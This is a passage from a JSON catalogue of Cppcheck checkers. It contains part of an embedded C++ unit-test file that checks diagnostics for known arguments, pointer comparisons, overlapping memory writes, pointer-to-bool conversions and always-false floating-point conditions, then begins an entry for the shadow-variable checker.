matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkShadowVariables.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkShadowVariables.json new file mode 100644 index 0000000..7b108f7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkShadowVariables.json @@ -0,0 +1,22 @@ +{ + "name": "checkShadowVariables", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 39, + "branches": 12, + "apis": 46, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 12327 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This 